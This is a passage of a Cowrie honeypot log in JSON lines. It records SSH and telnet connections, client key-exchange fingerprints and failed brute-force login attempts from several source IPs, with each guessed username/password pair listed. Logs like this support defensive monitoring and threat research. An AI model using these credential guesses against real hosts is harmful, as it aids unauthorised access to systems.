,"rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:57.790500Z","src_ip":"91.92.40.36","session":"11be08aa5957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:03.465639Z","src_ip":"91.92.40.36","session":"11be08aa5957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10914,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b2aff3ee941","protocol":"ssh","message":"New connection: 91.92.40.36:10914 (10.17.0.5:22) [session: 0b2aff3ee941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:05.032564Z"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:06.212714Z","src_ip":"91.92.40.36","session":"11be08aa5957","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:06.710478Z","src_ip":"91.92.40.36","session":"0b2aff3ee941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:06.719921Z","src_ip":"91.92.40.36","session":"0b2aff3ee941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50648,"dst_ip":"10.17.0.5","dst_port":22,"session":"551fea36e994","protocol":"ssh","message":"New connection: 91.92.40.36:50648 (10.17.0.5:22) [session: 551fea36e994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:10.815588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:12.318799Z","src_ip":"91.92.40.36","session":"551fea36e994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:12.322925Z","src_ip":"91.92.40.36","session":"551fea36e994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secretpass","message":"login attempt [root/secretpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:17.393528Z","src_ip":"91.92.40.36","session":"0b2aff3ee941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49508,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71bb01016d2","protocol":"telnet","message":"New connection: 128.199.8.54:49508 (159.203.135.109:23) [session: e71bb01016d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:19.343441Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:19.545283Z","src_ip":"91.92.40.36","session":"551fea36e994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:20.390749Z","src_ip":"91.92.40.36","session":"0b2aff3ee941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44388,"dst_ip":"10.17.0.5","dst_port":22,"session":"1456976e0d71","protocol":"ssh","message":"New connection: 91.92.40.36:44388 (10.17.0.5:22) [session: 1456976e0d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:20.954343Z"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:21.815817Z","src_ip":"91.92.40.36","session":"551fea36e994","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:21.990694Z","src_ip":"91.92.40.36","session":"1456976e0d71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:21.994677Z","src_ip":"91.92.40.36","session":"1456976e0d71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a21897a280","protocol":"ssh","message":"New connection: 103.27.238.114:47626 (10.17.0.5:22) [session: d2a21897a280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:22.744720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:22.749396Z","src_ip":"103.27.238.114","session":"d2a21897a280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:23.018822Z","src_ip":"103.27.238.114","session":"d2a21897a280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solitude","message":"login attempt [root/solitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:23.829654Z","src_ip":"103.27.238.114","session":"d2a21897a280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:25.101019Z","src_ip":"103.27.238.114","session":"d2a21897a280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:26.755785Z","src_ip":"91.92.40.36","session":"1456976e0d71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:28.622941Z","src_ip":"91.92.40.36","session":"1456976e0d71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c03c0e44078c","protocol":"ssh","message":"New connection: 91.92.40.36:14936 (10.17.0.5:22) [session: c03c0e44078c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:31.081675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:31.894953Z","src_ip":"91.92.40.36","session":"c03c0e44078c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:32.433711Z","src_ip":"91.92.40.36","session":"c03c0e44078c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38682,"dst_ip":"10.17.0.5","dst_port":22,"session":"c546f894b149","protocol":"ssh","message":"New connection: 91.92.40.36:38682 (10.17.0.5:22) [session: c546f894b149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:36.049518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:36.988055Z","src_ip":"91.92.40.36","session":"c546f894b149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:36.992577Z","src_ip":"91.92.40.36","session":"c546f894b149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yzfr1@2011","message":"login attempt [root/yzfr1@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:37.920858Z","src_ip":"91.92.40.36","session":"c03c0e44078c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:40.911760Z","src_ip":"91.92.40.36","session":"c03c0e44078c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:42.751196Z","src_ip":"91.92.40.36","session":"c546f894b149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38730,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e6aab22719","protocol":"ssh","message":"New connection: 91.92.40.36:38730 (10.17.0.5:22) [session: c4e6aab22719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:42.927999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:44.165472Z","src_ip":"91.92.40.36","session":"c4e6aab22719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:44.182384Z","src_ip":"91.92.40.36","session":"c4e6aab22719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:45.059123Z","src_ip":"91.92.40.36","session":"c546f894b149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45550,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ec752386b2d","protocol":"telnet","message":"New connection: 172.81.62.90:45550 (159.203.135.109:23) [session: 8ec752386b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:46.816604Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30366,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b05722516d7","protocol":"ssh","message":"New connection: 91.92.40.36:30366 (10.17.0.5:22) [session: 3b05722516d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:49.592892Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:50.699698Z","src_ip":"91.92.40.36","session":"c4e6aab22719","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:51.141022Z","src_ip":"91.92.40.36","session":"3b05722516d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:51.144524Z","src_ip":"91.92.40.36","session":"3b05722516d7","protocol":"ssh"}
